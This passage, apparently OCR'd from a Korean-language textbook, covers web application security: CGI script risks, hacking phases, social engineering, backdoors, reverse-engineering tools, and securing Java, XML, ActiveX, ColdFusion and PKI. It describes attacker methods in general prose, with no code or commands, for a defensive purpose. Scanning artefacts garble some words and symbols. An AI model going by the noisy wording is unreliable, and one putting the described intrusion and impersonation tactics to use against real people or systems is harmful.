로 통과하게 하는 방법을 제공한다. CGI 자체는 프로그람이 아니지만 Web 봉사기 
와 인터네 트응용프로그람 혹은 스크립 트사이 에 정 보를 교환시키 는 중개 자이다. 

- ◦어는 봉사기측 스크립트와 프로그람들을 리용한다. 코드는 봉사기에서 실행되므로 
싸이트를 방문할 때 어떤 형태의 열람기를 사용자가 리용하는가에는 관계가 없다. 

- CGI 사용들은 업무거래를 위한 보다 복잡한 CGI 스크립트들과 프로그람들을 리용 
할수 있는 eBay 와 전자상거래싸이트들과 같은 싸이트들에서 찾아 진다. 즉 손님 
책들, 잡담방들 그리고 설명문이나 반결합물양식들은 CGI 프로그람들에 대한 최 
다른 보편적 인 사용이 다. 

- ◦이는 동적 이 면서 도 호상작용하는 Web 패 지 를 제 공하려 고 할 때 그리 고 Web 봉 
사기의 함수들과 능력들의 우월성 을 발휘 하는것 이 필요할 때 리 용하여 야 한다. 이 
것들은 자료기지에 있는 정보를 탐색하여 보관하고 양식들을 처리하며 봉사기에서 
리용되는 다른 방법들을 통해 접근할수 없는 정보를 리용한다는 특징적인 의미들 
을 담고 있다. 하지만 사용자와의 호상작용이 제한될 때 CGI 프로그람들을 리용하 
는것을 고려 하여 야 한다. 

- 많은 ISP 들은 빈약하게 작성된 스크립트들과 프로그람들이 보안위협 이기때문에 
그 싸이트와 Web 봉사기에 숙박한 다른것들의 보안을 위험한 상태에 빠뜨릴수 있 
는 CGI 지원을 제공하지 않는다. 



쇼 z 
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2. 약한 CGI 스크립트로부터 초래되는 침입 


- Web 싸이트를 해 킹하는 한가지 가장 보편적 인 방법 이 빈약하게 작성된 CGI 스크립 
트를 찾고 리용하는것이다. 해커들은 CGI 스크립트를 리용하여 싸이트에 대한 정 
보획득 혹은 보통 보거나 내리적재할수 없는 등록부들이나 파일들에 접근할수 있 
으므로 여러가지로 바라지 않는 다른 행동들을 할수 있다. 

- 중요한것은 사용자들로부터 자료를 모으는데 리용된 양식 이 CGI 스크립트와 호환 
가능한가를 확인 하는것 이 다. 

- 개발자의 코드는 접수하는 자료를 분석해야 하며 문제거리들을 처러하는 오유정정 
코드를 제공해 야 한다. 오유정정은 CGI 스크립트로 통과하는 맞지 않거나 바라지 
않는 자료를 처리한다. 이것은 정확히 마당들이 채워 지지 않았거나 확실한 자료 
가 무시되였을 때 그것을 사용자에게 알리는 통보문을 되돌릴수 있다. 

- 포장기 ( Wrapper ) 프로그람들과 스크립 트들은 CGI 스크립 트들을 리용할 때 보안을 
증대 시 키 는데 리 용 할수 있 다. 이 것 들은 보 안시 험 ， CGI 공정 의 소유권조종을 제 공 
하므로 사용자들이 Web 봉사기의 보안을 손상시키지 않고 스크립트들을 달릴수 
있게 한다. 


3. CGI 스크립 트를 작성 하기 위한 언어 


- 콤파일식 CGI 프로그람은 C , C ++ 나 Visual Basic 와 같은 언어들로 작성될수 있다. 
이 형태의 프로그람을 가진 원천코드는 반드시 먼저 콤파일러프로그람을 통하여 
달려야 한다. 콤파일 러 는 원천코드를 프로그람이 달리 는 콤퓨터 가 리 해할수 있게 
기계언어 로 변환한다. 일단 콤파일되 면 프로그람은 실행될수 있는 능력 을 가지게 
된 다. 

- 해석식언어는 번역과 실행을 결합한다. 사용자가 스크립트의 기능을 요구할 때 그 
것은 분석기라고 부르는 프로그람을 통해 달리는데 이것은 프로그람을 번역하고 
실행시킨다. 실례로 Perl 스크립트를 달릴 때 프로그람은 실행될 때마다 매번 번역 
된 다. 

- Unix 멜프로그람들의 러 용과 관련된 한가지 문제 는 사용자입구와 다른 보안론의 점 
들을 조종하는데서 다른 언어들보다 더 제 한을 받는다는것 이 다. 

- Perl 은 CGI 스크립트들을 창조하는 보편적인 언어로 되고 있다. 새로운 프로그람 
작성 자들을 위 한 좋은 선정언어 이기는 하지만 복잡한 프로그람들을 작성 하는메서 
는 빈약한 선정언어 로 된다고 생 각하는 착오를 범 하지 말아야 한다. Perl 과 관련 
된 한가지 문제거리는 그것이 해석언어이기때문에 프로그람이 호출될 때마다 한걸 
음씩 번역되고 실행된다는것이다. 이것으로 하여 사용자가 제출하는 나쁜 자료가 
코드의 부분에 포함될수 있는 가능성 이 커진다. 

- C 나 C ++ 는 또 다른 선택언어이다. 인터네트프로그람들이 C 나 C ++ 를 가지고 창조 
될 때 일어 나는 일반적인 문제거리가 완충기자리넘침이다. 이것을 피하는 방법이 
양식에서 리용한 임의의 마당들에 대한 MAXSIZE 속성을 리용하는것이다. 이것은 
사용자가 보통수법 으로 입 력시키 는 자료크기 를 제 한할것 이 다. 
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4. CGI 스크립트를 리용하는 우월성 


- CGI 는 모든 코드가 봉사기 에서 달러 기때문에 유익하다. JavaScript , ActiveX 부 
분품들, Java 애플레트들 기타 의뢰기측 스크립트들과 프로그람들은 모두 사용자 : , 
콤퓨터에서 달린다. 그러나 이것은 명수급 해커들이 이 정보를 리용하여 싸이트를— 
공격할수 있 는 가능성 을 지 어 준다. 

- CGI 를 가지고 우리는 콤파일된 프로그람들속에 코드를 숨기면서 그러고 여 러가지 ' 
등록부들과 다른 방법들에 대한 허 락들을 조종하면서 자기 자신을 보호할수 있다. * 


: 

今 I ， 


5. 안전 한 CGI 스크립 트를 작성 하기 위한 규칙 




- 사용자호상작용을 제 한할것 

- 사용자들로부터의 입력을 믿지 말것 

- 민감한 자료를 보내 는데 GET 를 리용하지 말것 

- 스크립트에 민감한 정보를 전혀 포함시키지 말것 

- 절대적으로 펼요하지 않은 이상 접근을 주지 말것 

- Web 봉사기와는 다른 콤퓨터에서 프로그람을 작성하며 스크립트들의 림시파일들ᄅ 
과 여벌파일들이 싸이트가 살아 움직이기전에 봉사기로부터 지워 졌는가를 정확히’ . 
확인 할것 

- 임의의 제3부류 CGI 스크립트나 프로그람들을 전부 검사할것 


강， 


제 5 장. 해킹수법과 도구 


해커의 목적 


- 침입자는 그것들이 당신의 망과 체계를 주사할 때 검출을 피하기 위한 여러가지 
전략과 도구들을 리용할수 있다. 그들은 스텔스검사나 토막토막화된 TCP 파케트 
들을 리용할수 있 다. 

- 능력 있는 침입자들은 있을수 있는 경우를 예견하여 세밀하게 공격계획을 세운다 
사용자의 체계를 쉽게 조사한데 기초하여 그것들은 그것을 완전히 관통한후 체계‘ 1 
들을 조종하기 위한 아쩽 블된 도구를 가지 고 있 다. 

- Rootidt 는 검출되지 않는 당신의 체계 안에 침입자가 남아 있게 하는 공유된 서고 ’ 
객체들과 보편적 인 체 계검사편의프로그람들, 갱 신된 핵 심부부분의 트로이 목마판본: 
들을 포함하는 연산도구이 다. 

- 일부 침입자들은 당신의 Web 싸이트를 못 쓰게 만드는것에 의하여 그것들의 모양" 
을 직접 바꾸어 놓을수 있는데 사실은 다른 사람들이 사용자가 무엇을 하는가를 
조용히 관찰할수 있다. 다른 사람들은 아직 타격을 받지 않은 다른 망을 공격할수 1 
있는 싸이트개설에 사용자의 체계를 리용할수 있다. 

- 침입자들이 망의 취약성들을 측정하는데 리용할수 있는 도구는 사용자에게 리익을이 
줄수 있다. 사용자의 취약성보고서를 그대로 남겨 둠으로써 공격자들이 진행하는， 
침입편의프로그람들은 당신의 체계를 더 잘 보호해 줄것이다. 
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2. 해킹의 5가지 단계 


- 공격지도작성 : 침 입 자들은 사용자들의 싸이트를 방문하지 않고서도 사용자의 싸이 
트에서 정보를 수집하는데 공개적으로 사용할수 있는 정보자원들을 많이 리용한다. 
Name Server Lookup ( nslookup ) 와 ARIN 와 같은 도구들은 침 입 자가 사용자 
망의 그림을 아쎔블하는것을 시작할수 있게 하는 풍부한 정보를 제공한다. 

- 실행계 획 작성 : 침 입 자는 공격실행 계획을 형 식화할 때 기 억 해 야 할 세 가지 중대한 
요소들을 가지고 있다. 공격하기 쉬운 봉사들,목표체계의 조작체계,원격접근과 국 
부채용코드는 완전한 침입을 진행하는데서 반드시 필요하다. 

- 입구점의 확립 : 가장 마지막취약성은 마지막방어때 나타난다. 침입자는 이것을 알 
고 이 원리에 기초한 사용자의 망우에서 첫 공격을 시작한다. 침입자는 어떤 주를 
퓨터들이 직렬로 련결되고 그것들이 계공하는 잠재적취약성이 무엇인가를 결정하 
기 위 하여 당신의 체계 에 대한 주사를 진행할것 이 다. 

- 련속되는 접근과 앞으로의 접근: 침입자는 공격방법을 초기에 결정한 다음 완전한 
침입을 할 때 자기들의 공격에 응답할수 있는 표식에 대한 잠재적취약성을 충분히 
검사하여 야 한다. ip 크기가 다양한데로부터 이 검사들을 쉽게 시도할수 있으며 여 
기서 어떠한 문제도 생기지 않는다. 

- 공격 : 침입 그자체는 상대적으로 빨러 일어 난다. 침입 자는 취 약성을 가진 봉사를 
통하여 지점을 얻을수 있지만 침입자의 마음은 다음에 진행하려는 관통계획을 숨 
기려 할것이다. 


3. 사회공학 


- 사용자의 싸이트안에서 얻어 지는 쏘프트웨어설계안에 있는 취약성을 채용하기보다 
는 침입자는 엄으려는 민감한 자료와 인간의 신용관계를 채용할수도 있다. 공격자 
는 사용자의 싸이트를 어떻게 정기적으로 채용할수 있는가를 명백히 잘 보여 줄수 
있으며 얼핏 보기에는 그리 중요하지 않은것 같은 자료를 쉽게 얻을수 있다. 

- 이것은 전자우편，우편，급한 통보와 갈은 통신을 작성하는것을 통하여 허락된 사람 
으로 분장하려는 공격 자에게는 매우 쉬운것 이 다. 완전분장 또는 수자적 인 솜씨로써 
사용자는 당신의 체계를 해치는데 리용할수 있는 자료를 폭로하는 전술을 쓸수 있다. 

- 전화를 통하여 허락된 사람으로 분장함으로써 공격자는 믿음직한 종업원으로부터 
정보를 수집할수 있다. 섬세하지 못한 내부분리는 공격자에게 사용자의 교재를 파 
탄시킬 때 리용할수 있는 수많은 자료를 로출시킬수 있다. 거짓표적의 리용이나 
또는 단순하게 거기에 속해 있는것처럼 활동하는것으로써 침입자는 사용자의 체계 
에 허락된 사람처럼 물리적으로 접근할수 있다. 

- 사용자의 물리적체계에 접근함으로써 공격자는 보다 발전된 사회공학적공격을 위 
하여 리용할수 있게 하는 넓은 조사를 수행할것 이며 그에 의하여 당신의 싸이트를 
공격하는데 리용할수 있는 방대한 량의 정보를 은밀하게 가질수 있다. 

4. 고의 적 인 뒤문공격 

- 콤퓨터관련보안의 가장 기본적인 사건들은 비도덕적 인 사람때문에 일어 난다. 불 
만을 가진 종업원은 언제나 이러한 배신적인 사건들을 일으킨다. 

- 뒤문공격은 개 발자가 허 락되지 않은 숨겨 진 가입등록 또는 인증방법을 서술하는 
장소를 제한함으로서 체계와 그들의 자료에 접근할수 있게 한다. 
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- 뒤문공격 은 코드토대 가 교열조종체 계 를 통하여 보존되거 나 충분히 문서 화되 였을 
때 그리고 믿음직한 쏘프트웨 어 처 리도식과 현재 쏘프트웨 어 처 리도식을 통하여 
유지될 때 쉽게 발견되고 차례로 추적될수 있다. 

5. 코드나 프로그람작성환경 에 고유한 약점의 리용 

- 야심적인 침입자는 일반채용을 통하여 사용자의 체계를 불법침입하는데서 즉시 리 ᄍ 
익을 얻지 못한다. 만일 그가 당신의 쏘프트웨 어를 엄 으려 한다면 그것은 결함과 며 
취 약성 을 가지 고 있다고 평 가될것 이 다. 

- 침입자는 찾을수 있는 사용자의 대상과제와 관련되는 모든 정보들을 쉽게 내리적_ 
재할것이다. 그는 그의 존재를 솜씨 있게 알수 있기때문에 사용자의 체계에서 그 ; -- 
것을 분석 할수 있다_ 

- 침 입 자ᄂ는 16진편^기 , 오유수정프로그람，역 아쌤블러의 리용을 통하여 비록 그것 i i 
이 2진으로 된 내 용을 얻 을수 있지 만 사용자의 쏘프트웨어 가 가지 고 있는 일 종의 “ 

취 약성 들과 결 함들에 쉽 게 접 근할수 있을것 이 다. 

6. 판매되고 있는 도구 



- 16진편집 기 들의 리 용을 통하여 공격 자는 모든 실 행 또는 2진파일 을 보고 편집할수_ 
있으며 숨겨 진 지령，실행기발, 개발자들에 의하여 삽입될수 있는 가능한 뒤문을= 
탐색할수 있다. 오유수정프로그람은 그것들이 실행될 때 프로그람이 어떻게 동작니 
하는가를 분석하는데 리용할수 있다. 이 도구를 리용하여 프로그람이 어떻게 동작 f 
하는가를 분석하는데 리용할수 있 다. 이 도구의 리용을 통하여 공격 자는 제 한이 요 
없는 많은 함수들과 정 적변수와 갈은 함수인수로 할당된 이 름들과 변수들을 포함 
하여 프로그람의 여 러 측면을 추적할수 있 다. 이 것 들은 침 입 자가 실 행 시 프로그람 
에 있는 취 약성들을 결정하는데 도움이 될수 있다. 

- 역 아쌤 블러는 공격 자가 2진프로그람을 그것 들의 아쌤 블리어 로 변환할수 있게 한다ᄅ 
역아쩽블러는 또한 공격자가 선택된 함수를 받아 들이는것과 갈은 이행과 호출들ᄅ 
을 삽입，삭제하는것 에 의하여 함수의 기 능을 근본적 으로 달라 지 게 한다. 
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제 6 장. 코드검열과 역공학 


어떻게 프로그람을 효과적으로 추적할수 있는가 


- 시작부터 끝까지 프로그람의 실행을 추적하기에는 시간이 부족하다. 

- 문제령역에 직접 가는 대신 시간을 보관할수 있다. 

- 이 방법은 응용프로그람처리 또는 계산론리를 조용히 뛰여 넘을수 있게 한다. 

2. 선택된 프로그람작성언어 에 대 한 검 열과 심 사 


，多， 


- 대중적이며 완성된 프로그람언어의 리용은 코드검열을 도와 준다. 


- 일정한 프로그람언어들은 코드를 효과적으로 심사하는 사용자를 도와 주는 속성을 
가지고 있다. 


3. 취 약성찾기 


- 사용자자료가 어떻게 결합되였는가에 대한 심사 

- 완충기넘침에 대한 검사 

- 프로그람출구를 해석 

- 파일체계의 호상작용을 심사 

- 내부구성요소의 리용을 검사 

- 자료기지질문들과 접속을 시험 

- 망속성의 리용을 추적 

4. 모두 함께 리용하기 

- Unix grep , GNU less , DOS find 지 령 , UkraEdit , 자 유 ITS 4 Unix 프 로 그 
람， Numega 와 같은것을 이미 목록화된 기능을 찾기 위 해 리 용한다. 


제 7 장. Java 코드의 보안 


1. Java 보안구조의 개괄 

- 보안에 대 한 5가지의 주장이 있다.즉 봉쇄 과 권한, 증명，암호화，검 사이 다. 

- JVM 준위 에 서 완성 되 는 보안체 계 들은 응용프로그람준위 에 서 완성 되 는 보안보다 
훨씬 더 작은 구멍들을 거의 모두 포함한다. 될수록 Java 에서 공급되는 보안기계 
를 리용해 야 한다. 

- Java 2와 함께 새 로운 Sandbox 기 계 는 체 계 자원에 대 한 호출을 허 용한다. 

2. Java 는 보안을 어떻게 다루는가 

-콜라스호출자는 어떠한 바이 트흐름으로부터 콜라스를 적재하는데 리 용된다. 

- 바이 트코드검 증자는 그것 을 실 행 하기 전에 Java 바이 트코드를 재 차 검 사하기 위하 
여 JVM 에 의해 리용된다. 

- 보호된 Java 령역 은 체 계 자원 에 대 한 적 합한 접 근을 진행 하기 위하여 API Java 
함수를 리용한다. 

3. Java 의 잠재적약점 

- 의뢰기는 봉사기에서 수행할수 있는 전송의 수를 제한한다.이것은 매 사용자에 대 
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한 단일가입계수를 공급하여 진행할수 있다. 


나' 


- 봉사기에서 창조될수 있는 스레드의 수를 제한해야 한다. 너무 많은 스레드들이, 
수행된다면 체계는 대단히 힘들다는것을 사용자들에서 말해 주어야 한다. 

- 트로이 목마로써 봉사기 에 침 투하는 코드를 제 한하기 위 하여 RMI 보안관러자를 리 도 
용한다. 


4. 기능적 이면서 안전한 Java 애플레트의 코드화 


- 통보문발취는 자료가 변경되지 않았다는것을 확인하는데 리용할수 있다. 

- 수자서명은 인터네트에서 실체를 식별하는데 리용할수 있다. 

- 암호화는 인터네트상에서 전송될 때도 자료가 비공개열쇠를 보존할수 있게 한다 
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제 8 장. XML 의 보안 


1 .XML 의 정의 




- XML 은 자료를 정 의 하고 초기 화하는데 서 리용되 는 론러 적 구조를 정 의 한다. XML ^ P * 
의 위 력은 그것 이 리해 하기 쉽 고 사용하기 쉬 우며 실현하기 쉽 다는데 있다. 

- XSL 은 XML 과 HTML 을 포함하여 가상적으로 임의의 형식으로 변환할수 있다. , 

XSL 은 대 단히 강력 한 완성 된 프로그람작성언어 이 며 XML 을 인터 네 트상에서 가상 g ᄅ 
적으로 임의의 실체들과 쉽게 통신할수 있게 한다. 


2. XML 을 리용한 Web 응용프로그람만들기 


- XML 과 XSL 은 Web 응용프로그람을 창조할 때 공동으로 러 용된다. 이 런 도구들을. 
가지고 Web 응용프로그람은 보다 쉽게 보존되며 열람기의 폭 넓은 다양성을 제공, 

할수 있다. 

- XML 은 인 터네 트상에 서 서 로 다른 입 구점 들을 가진 통신에 리 용되 지 는 못하지 만 
사용자의 응용프로그람안에서 통신의 의미로서는 리 용된다. 이것은 앞으로 확장하• ᅪ j 
기 쉬우며 통합하기가 쉬운 구조를 제공하고 있다. 
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3. XML 리용과 관련한 위 험 

- 인터네트상에서는 아무것이나 다 위험하다.절대적으로 필요한 자료와 코드만을 제 
공하여 야 한다. 

- 정보는 보여 주려는것 이 목적 이 아니 라면 문서 안에서 정보를 암호화하는것보다 차 
라리 수신즉에 문서를 배포하기전에 수감정보를 제외하고 XML 문서를 변환하는것 
이 더 안전하다. 

- XSL 은 완성된 프로그람작성언어 이 며 XML 안에 포함된 정 보보다도 더 많은 변수 



들을 변환할수 있다. 의뢰기측 변환을 수행할 때 HTML 이 의뢰기 에서 로출시키 
는것과 거의 같은 방법 으로 XSL 을 로출시킨다. 


4. XML 의 보안 

- XML 을 보호하기 위해 이 미 존재 하고 있는 보안방법 을 리용한다. HTTPs 는 
HTML 을 가지 고 진행한것 과 같은 방법 으로 XML 과 작업한다. 

- 봉사기 에 아무것 이든 남겨 놓고 XSL 변환을 진행하면 의뢰기 에 오직 HTML 이 나 
련관되여 있는 XML 만이 전송된다. 

- XML 암호화(현재 는 초고작성 형 식 으로)명세의 목적 은 XML 을 리용하여 수자적 으 
로 암호화된 Web 자원을 서술하는데 있다.명세는 시작과 끝태그를 포함하는 요소 
의 암호화，시작과 끝태그사이의 요소안의 내용， XML 문서전체를 제공한다. 암호 
화된 자료는 < EncryptedData > 요소를 리용하여 구조화된다. 

- XML 수자서명 명세는 초벌작업하는 동안은 안정하다.그의 령역은 XML 과 XML 서 
명령역을 리용하여 수자서명을 얼마나 서술하겠는가를 포함한다. 

- 서명은 다중 XML 문서를 창조할수 있는 명백 하고 규범 적 인 형 태우에서 하쉬함수로 
부터 작성된다. 


제 9 장. 안전한 ActiveX 인터네트조종체의 구축 


1. ActiveX 리용과 관련한 위험 

- Java 애 플레트의 모래통 ( Sandbox ) 을 리 용함으로써 응용프로그람은 파일체 계와 다 
른 응용프로그람들과 분리되 여 자기의 보호기억 령역상에서 실행되고 있다는것을 
담보한다. 한편 ActiveX 조종체들은 그것들이 콤퓨터에 설치된후에는 그것을 실행 
하고 있는 사용자들에게 모두 동등한 권리를 준다. Microsoft 는 조종체를 리용하 
는 저자는 한사람이라는것,조종체가 의도하는 싸이트나 폐지상에서 목적하는 방법 
대 로 리용되는가 하는것 특히 싸이트의 소유자나 그외의 누구든지 조종체가 배 치 
된후에는 변경시킬수 없다는것을 담보하지 못한다. 조종체가 안전하게 표식되면 
다른 응용프로그람들과 조종체 들은 당신의 승인 이 없 이 조종체 를 실 행할수 있 다. 

- 조종체들에 공통적인 파괴위험성은 완충기넘침오유와 같이 충분히 검사되지 못한 
오유를 포함하고 있는 판본들을 배포하는것이다. 충분히 검사하는데 시간을 들이 
고 당신의 코드가 변수의 입구값의 유효범위를 검사하였다는것을 담보하여 야 한다. 

- 조종체 에 대 한 제 한을 주는 보안령역 , SSL 규약들과 같은 선택 항목들을 리용할수 
있 다. 

- 당신은 체계등록고에 있는 CodeBaseSearchPath 를 호출하는데 이것은 ActiveX 조 


종체를 내리적재하려고 할 때 체계가 조종체들을 어데서 찾는가를 조종한다. 

- IEAK 가 있는데 이 것은 ActiveX 조종체 를 정 의 하고 동적 으로 관리 하는데 리 용할 , .느 
수 있다. 

2. 안전한 ActiveX 조종체 를 작성 하는 방법 론 


- 당신의 조종체를 충분히 문서화해야 한다. 또한 조종체가 과제를 수행하는데 최적 
인 기능을 가지도록 하여 야 한다. 

- 당신의 조종체가 다음의것들가운데서 임의의것을 위반하였다면 《 safe 》 로 표식하| 
지 말아야 한다. 



• 국부콤퓨터 나 사용자에 대 한 정보를 호출하기 

• 국부콤퓨터 나 망상에서 개 인정보를 로출시키기 

• 국부콤퓨터 나 망상에 서 정 보들을 수정 하거 나 파괴 하기 

• 조종체에 결함이 있고 열람기가 폭주할 가능성이 있는 경우 

• 시간이 초과되거나 기억령역 갈은 자원이 초과되는 경우 

• 실 행 파일 들을 포함하여 체 계 호출들에 손상을 주면서 실 행할수 있는 경 우 

• 믿을수 없는 방법 으로 체 계를 리 용하여 기대할수 없는 결과를 발생하는것 



- Microsoft ActiveX SDK Kit 는 CAB 파일 들을 서 명 하고 검 사하는데 펼 요한 편의 i 
프로그람모임 이 다. 기 본부분품는 makecert . exe , cert 2 spc . exe , signcode . exe 와갖* I 
Checktmst . exe 이다. 이러한 도구들은 앞으로 생길 Microsoft . NET 프레임워크_ 
의 일부이다. 


3. ActiveX 조종체의 보안 



- 조종체 를 서 명하려 면 CA 로부터 수자코드서명증명 서 나 ID 를 얻 을 필요가 있 다.ᅮ_ 
ActiveX 조종체 들을 서 명 하기 위 한 ◦쇼에 는 두가지 즉 VeriSign ( www . 폐 
verisign . com ) 과 Thawte ( www . thawte . com ) 이 있 다. 

- 자유시 간확정 (free timestamping ) 봉사에 의하여 VeriSign 은 낡은 코드를 계 속 
쓰러고 할 때 당신을 도와 줄것이다. Verisign 은 Thawte 의 사람들이 그들의 시 ^ 

간확정봉사기를 사용하도록 한다. 

- 조종체 를 《 safe 》 로 표식하는메 는 서 로 다른 두가지 방법 이 있다. 즉 PacKage ■물 
and Deployment 위 자드로 안전설 정 을 하는것 (혹은 Windows 등록고를 리 용) 과 f 세 
다른 하나는 IObject Safety 대 면부를 실 행하는것 이 다. 

IObject Safety 를 리용하는 중요한 우점은 어떤 정황에서는 안전하고 다른 정황 ; 
에서는 불안전을 실행하게 하는 단일판본의 조종체를 가질수 있다는것이다. 조종체를卜 | 
《 safe 》 로 표식하는 다른 방법들과는 달리 그것은 등록고의 기입내용 ( entry ) 에 관계% 
되지 않는다. 
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제 10 장. ColdFusion 의 보안 


1. ColdFusion 의 동작 

- ColdFusion 은 Web 봉사기로부터 요청을 받아서 열람기에로 전송할수 있는 문서 
를 되돌려 전송하는 응용프로그람봉사기 이 다. 

- ColdFusion 성 능을 높이 기 위 하여 페 지 들을 고속완충기억 에 보관한다. 

- ColdFusion 프로그람작성속도와 능력을 높이기 위하여 태그에 기초한 언어를 사 
용한다. 

2. ColdFusion 의 보안보장 

- 사람들이 호출하지 말아야 할 등록부에 대한 호출을 보안하시오. 리용할수 있는 
ColdFusion 보안외 에 도 Web 봉사기 를 사용하시 오. 

- ColdFusion 은 기 대 상에 서 만 잘 보안된 다. 기 대 가 보안구멍 을 가지 고 있 다면 
ColdFusion (다른 응용프로그람들도)은 파괴될수 있다. 

- 당신의 기대가 안전한가를 확인하기 위해서는 스스로 여러 차례 공격해 보시오. 

3. ColdFusion 응용프로그람처리 

- 자료의 타당성확인에는 세가지 준위가 있다. 우선 당신이 기대하는 자료가 존재하 
는가를 검사하는것 이다. 둘째로 넘겨 질 자료의 형을 검사하는것이다. 셋째로 그 
것을 리용하기전에 프로그람을 모두 검토하는것이다. 이 세가지 형태의 자료의 타 
당성확인판정은 따로따로 진행되는것 이 아니다. 많은 경우들에 이 세가지 모두가 
자료의 타당성확인판정에 러용된다. 

4. ColdFusion 의 리용과 관련한 위험 

- 만일 체계의 기정문서들과 실례프로그람들을 그대로 가지고 있다면 공격자들에게 
호출할수 있는 기회를 제공해 주게 된다. 

- 사람들에게 체계에 대한 정보를 제공해 준다면 그들이 정보제공자를 공격할수 있다. 

- 응용프로그람이 접수하는 자료가 유효하지 않다면 공격 당할수 있다. 

5. 매 대화당 추적의 리용 


- CFAPPLICATIN 은 대화조종추적부분인 매 페지에 대해 《 On 》 으로 되여야 한다. 

- 대화조종의 사용이 나 응용프로그람변수들 혹은 그들모두는 CFLOCK 내에 있어 야 
한다. 

- 대화조종과 응용프로그람변수들은 요구시 간 ( timeout ) 이 될 때 혹은 봉사주기가 
끝날 때까지 존재해 야 한다. 
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제 11 장. 보안가능한 응용프로그람개발 


1. 보안가능한 응용프로그람리용의 우점 


- 솜씨있는 해커들은 임의의 응용프로그람이 창조한 언어에 정통한 다음에는 그의 g 
약점을 찾아 낼수 있다. 

- 단체내의 그 누구나 다 모든 정보를 호출할수 있게 하는것이 아니다. 

- 인증，권한부여 , 비 거부방법들은 Web 상에서 와 개 별망에나 응용프로그람들을 보| 
안하기 위한 통합적 인 부분이 다. 




2. 응용프로그람에 서 리용되 는 보안류형 


- 수자서명은 코드를 작성한 응용프로그람작성자의 신분을 만든다. 수자서명은 대체 
로 수자증명서안에 포함된다. 이 것 들은 그것들이 암호화되 든 안되 든 문서 들에 서 : 

리용될수 있다. 

- PGP 는 전자우편이 암호화와 복호화뿐아니라 송신자의 신분을 증명하기 위한 수; 
자서명의 전송과 전자우편과 접촉하는 자료파일들을 암호화 혹은 복호화하는데 리 
용할수 있다. PGP 가 공개열쇠암호화를 쓰는 새로운 방법은 단순한 수신자의 공ᄂ 
개열쇠 대 신 통보문의 내 용을 암호화하기 위 한 더 빠르고 더 짧은 암호화알고리 듬 g 
을 리용한다는것이다. PGP 는 뒤문이 없다. 

- S / MIME 규격은 PKCS -7 을 러용하여 통보문을 어 떻게 암호화하고 수자서 명 을 어 ᅴ 
떻게 포함하는가를 규정한다. S / MIME 는 주로 전자우편통보문을 간단히 서명하는 g 
데 리용되여 전자우편접수프로그람과 실제접수자가 통보문의 선두에 있는 전자우^ 
편이름이 송신자에 의해 전송된것 이 옳은가를 확인하게 한다. 통보문이 어떤 방법> 
으로 조작되 였다면 S / MIME 가 통보문에 서명한 수자서명 이 변화기때 문에 접수자 

에 의하여 증명될수 없다. 

- TCP / IP 상에서 실행 하는 SSL 은 콤퓨터들이 암호화된 접속상에서 규약을 창조하고| 
자료전송을 안전하게 할수 있게 한다. SSL 가능한 의뢰기들과 봉사기들은 봉사접巧 
속이 확립된 다음에는 호상 인증하고 그들사이에 전송되는 모든 자료들을 암호화,# 
복호화할수 있으며 마구 수정된 자료들을 검출해 낼수 있다. 




今， 


3. PJ 江의 기초복습 




- PKI 는 두 체 계 들사이 에 자료를 보안전송할수 있도록 하기 위하여 공개열쇠암호화ᄂ 
를 리 용한다. 여 기서 는 보안통신에 관계하려 는 다른 체 계들에 공개열쇠 를 배포하_ 
고 한 체계만 비공개열쇠를 비밀로 가지고 있도륵 한다. 
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- 암호열쇠 들은 CA 봉사기 에 의해 발행，발생，관리 되 는 증명 서 들에 의하여 배 
포된 다. 

- CA 는 증명서들을 발행 , 재생 , 취소할수 있는 봉사 단체 이 다. 증명서봉사에 가장 
대중적으로 리 용되는것은 Internet 응용 프로 그람 판매자들 인 Microsoft 와 
Netscape/iPlanet 의 제품들이다. 

4. 안전한 Web 응용프로그람에로의 PKI 의 리용 

-Web 싸이트와 응용프로그람들의 공격에 대응하여 체계나 응용프로그람들의 보안 
을 강화하여야 한다. 공개열쇠기반과 공개열쇠암호화는 체계호출의 인증과 체계들 
사이 자료를 암호화하기 위한 Web 용으로 설계된것 이다. 

- PKI 암호화알고리 듬과 인증，하쉬알고리 듬들은 둘 다 사용자이 름과 암호에 의한 
보안보다 더 빠르고 보안이 더 강하다. 

- PKI 는 동시 에 한개 이상의 Web 응용프로그람에 대 한 보안을 제공하는데 리용될수 
있다. 공개열쇠를 가진 한개 증명서는 전자우편，전자상업 Web 싸이트의 폐지들을 
보안하여 호출할수 있게 하며 가상개발망을 통해 인터네트에로 암호화된 자료를 
전송할수 있는 사용자권한을 줄수 있다. 

5. Web 하부구조에서 PKI 의 실현 

- Windows 2000 Server 와 Advanced Server 에 는 Microsoft 증 명 서 봉 사 
(Microsoft Certificate Services ) 들이 추가할수 있는 부분품들이 포함되여 있다. 
Microsoft 증명서봉사는 의뢰기들이 증명서봉사기에 요청을 하고 요청이 검사되 
고 증명서가 발행되던가 무시되던가 하게 한다. 

- Netscape Certificate Management (Netscape 증명 서 관리 ) 봉^■기 는 Netscape 봉^ ■ 
기제품 (Netscape Server Productions ) 들의 일부분이며 Netscape Servers 을 그 
룹으로 설치해야 한다. 

- Apache Web 봉사기에 PKI 를 잘 배 치 하면 그 어 떤 해 커 공격 에 대 해 서 도 봉사기 
가 든든하게 할수 있다. 

6. 보안실현의 시험 

- 보안실현검사는 가능한껏 자기 제 품환경 과 동일한 검 사환경 에 서 수행 되 여 야 한다. 

- 보안실현검사의 세가지 기본목적은 실행이 요구하는것 결과를 주는가를 검사하는 
것，검사할 때 자기의 기반이 안전하게 실행된 다음에도 계속 동작하는가를 검사 
하는것，적 당한 취소전략을 정하는것 이다. 

시험방법에는 성능시험，기능시험, 보안시험들이 있다. 
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제 12 장. 보안계획화사업 


1. 코드검토 


- 개 발과정 에 리 용되 는 코드심 사에 는 구조화된 련습 (structured walk 仕 troughs ) 과 
비공식적인 ( informal ) 동위 심사가 있 다. 

- 코드심사는 코드에서 론러적인 결함을 찾고 코드의 기능을 검사하며 보안구멍들과 
문법오유들을 찾아내는 작업 이 다. 

2. 코드의 취약성에 대한 인식 


구， 


- QA 검사개 발은 존재 하는 약점들을 없애 버 리거 나 개 발자들이 코드심사시 에 놓치 
는 로출가능한 코드를 없애는 작업을 진행한다. 

- 응용프로그람은 그것 이 배포될 때 검출자유로 되는것은 불가능하지만 응용프로그 
람은 최소한 모두 심중하고 아주 제품으로 완성되기에 앞서 결함들을 수리하여야 
한다. 



3. 코드작성의 계획화에서 상식의 적용 

-규칙 에 기초한 분석기 , 오유수정프로그람，판본조종프로그람들과 같은 도구들을 
